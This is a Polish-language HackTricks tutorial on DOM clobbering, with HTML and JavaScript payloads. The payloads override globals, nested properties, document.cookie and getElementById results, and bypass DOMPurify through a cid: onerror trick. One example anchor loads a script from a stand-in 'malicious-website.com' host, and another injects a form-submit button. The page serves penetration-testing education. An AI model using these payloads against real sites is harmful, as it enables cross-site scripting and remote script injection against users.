Dom Clobbering

Reading time: 8 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Podstawy

Możliwe jest generowanie zmiennych globalnych w kontekście JS za pomocą atrybutów id i name w tagach HTML.

html
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>

Tylko niektóre elementy mogą używać atrybutu name do klobberowania globalnych, są to: embed, form, iframe, image, img i object.

Interesująco, gdy używasz elementu form do klobberowania zmiennej, otrzymasz wartość toString samego elementu: [object HTMLFormElement], ale w przypadku anchor wartość toString będzie href anchor. Dlatego, jeśli klobberujesz używając tagu a, możesz kontrolować wartość, gdy jest traktowana jako ciąg:

html
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>

Tablice i Atrybuty

Możliwe jest również przysłonięcie tablicy oraz atrybutów obiektów:

html
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>

Aby nadpisać 3. atrybut (np. x.y.z), musisz użyć form:

html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>

Clobbering więcej atrybutów jest bardziej skomplikowane, ale wciąż możliwe, używając iframe'ów:

html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>

warning

Tag stylu jest używany do dania wystarczająco dużo czasu na renderowanie iframe. Bez niego znajdziesz alert o undefined.

Aby zniszczyć głębsze atrybuty, możesz użyć iframe'ów z kodowaniem html w ten sposób:

html
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>

Omijanie filtrów

Jeśli filtr przechodzi przez właściwości węzła używając czegoś takiego jak document.getElementByID('x').attributes, możesz zastąpić atrybut .attributes i złamać filtr. Inne właściwości DOM, takie jak tagName, nodeName lub parentNode i inne, również są zastępowalne.

html
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>

Clobbering window.someObject

W JavaScript często można znaleźć:

javascript
var someObject = window.someObject || {}

Manipulowanie HTML na stronie pozwala na nadpisanie someObject węzłem DOM, co może wprowadzać luki w zabezpieczeniach. Na przykład, możesz zastąpić someObject elementem kotwicy wskazującym na złośliwy skrypt:

html
<a id=someObject href=//malicious-website.com/malicious.js></a>

W podatnym kodzie, takim jak:

html
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>

Ta metoda wykorzystuje źródło skryptu do wykonania niechcianego kodu.

Sztuczka: DOMPurify pozwala na użycie protokołu cid:, który nie koduje URL podwójnych cudzysłowów. Oznacza to, że możesz wstrzyknąć zakodowany podwójny cudzysłów, który zostanie zdekodowany w czasie wykonywania. Dlatego wstrzyknięcie czegoś takiego jak <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> spowoduje, że HTML zakodowany &quot; zostanie zdekodowany w czasie wykonywania i ucieknie z wartości atrybutu, aby utworzyć zdarzenie onerror.

Inna technika wykorzystuje element form. Niektóre biblioteki po stronie klienta sprawdzają atrybuty nowo utworzonego elementu formularza, aby je oczyścić. Jednak dodając input z id=attributes wewnątrz formularza, skutecznie nadpisujesz właściwość atrybutów, uniemożliwiając sanitariuszowi dostęp do rzeczywistych atrybutów.

Możesz znaleźć przykład tego typu klobberingu w tym opisie CTF.

Klobbering obiektu dokumentu

Zgodnie z dokumentacją możliwe jest nadpisanie atrybutów obiektu dokumentu za pomocą DOM Clobbering:

Interfejs Document obsługuje właściwości nazwane. Obsługiwane nazwy właściwości obiektu Document w dowolnym momencie składają się z następujących, w kolejności drzewa zgodnie z elementem, który je wprowadził, ignorując późniejsze duplikaty, a wartości z atrybutów id pojawiają się przed wartościami z atrybutów name, gdy ten sam element wnosi oba:

- Wartość atrybutu treści name dla wszystkich exposed embed, form, iframe, img i exposed object elementów, które mają niepusty atrybut treści name i są w drzewie dokumentu z dokumentem jako ich korzeniem;

- Wartość atrybutu treści id dla wszystkich exposed object elementów, które mają niepusty atrybut treści id i są w drzewie dokumentu z dokumentem jako ich korzeniem;

- Wartość atrybutu treści id dla wszystkich img elementów, które mają zarówno niepusty atrybut treści id, jak i niepusty atrybut treści name, i są w drzewie dokumentu z dokumentem jako ich korzeniem.

Korzystając z tej techniki, możesz nadpisać powszechnie używane wartości takie jak document.cookie, document.body, document.children, a nawet metody w interfejsie Document, takie jak document.querySelector.

javascript
document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Pisanie po elemencie zniszczonym

Wyniki wywołań document.getElementById() i document.querySelector() mogą być zmieniane przez wstrzyknięcie tagu <html> lub <body> z identycznym atrybutem id. Oto jak można to zrobić:

html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>

Ponadto, stosując style do ukrywania tych wstrzykniętych tagów HTML/body, można zapobiec zakłóceniom ze strony innego tekstu w innerText, co zwiększa skuteczność ataku:

html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Badania nad SVG ujawniły, że tag <body> może być również skutecznie wykorzystywany:

html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Aby tag HTML działał w SVG w przeglądarkach takich jak Chrome i Firefox, konieczny jest tag <foreignobject>:

html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Clobbering Forms

Możliwe jest dodanie nowych wpisów wewnątrz formularza po prostu określając atrybut form wewnątrz niektórych tagów. Możesz to wykorzystać do dodania nowych wartości wewnątrz formularza oraz nawet do dodania nowego przycisku do wysłania go (clickjacking lub nadużywanie niektórego kodu JS .click()):

html
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks